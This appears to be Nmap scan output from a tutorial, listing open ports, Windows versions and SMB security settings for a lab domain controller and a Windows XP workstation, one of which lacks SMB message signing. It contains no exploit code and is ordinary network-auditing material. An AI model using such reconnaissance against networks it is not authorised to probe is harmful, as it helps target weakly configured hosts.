PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
|_ banner: ncacn_http/1.0
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1028/tcp open  unknown
|_ banner: ncacn_http/1.0
1040/tcp open  netsaint
1048/tcp open  unknown
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
MAC Address: 11:22:33:44:55:66 (VMware)
 
Host script results:
|_ nbstat: NetBIOS name: INDAHAX-DC, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:66
|  smb-os-discovery: Windows Server 2003 3790
|  LAN Manager: Windows Server 2003 5.2
|  Name: INDAHAX\INDAHAX-DC
|_ System time: 2009-03-15 18:09:58 UTC+1
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing required
 
Interesting ports on 10.0.0.13:
Not shown: 996 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
912/tcp open  unknown
|_ banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonPr...
MAC Address: 11:22:33:44:55:67 (Fake Computer)
 
Host script results:
|_ sniffer-detect: Likely in promiscuous mode (tests: "111___1_")
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing not supported
|  smb-os-discovery: Windows XP
|  LAN Manager: Windows 2000 LAN Manager
|  Name: WORKGROUP\PIERRE-WG
|_ System time: 2009-03-15 18:09:56 UTC+1
|_ nbstat: NetBIOS name: PIERRE-666, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:67
 
Nmap done: 2 IP addresses (2 hosts up) scanned in 36.32 seconds

Références:

[1] man nmap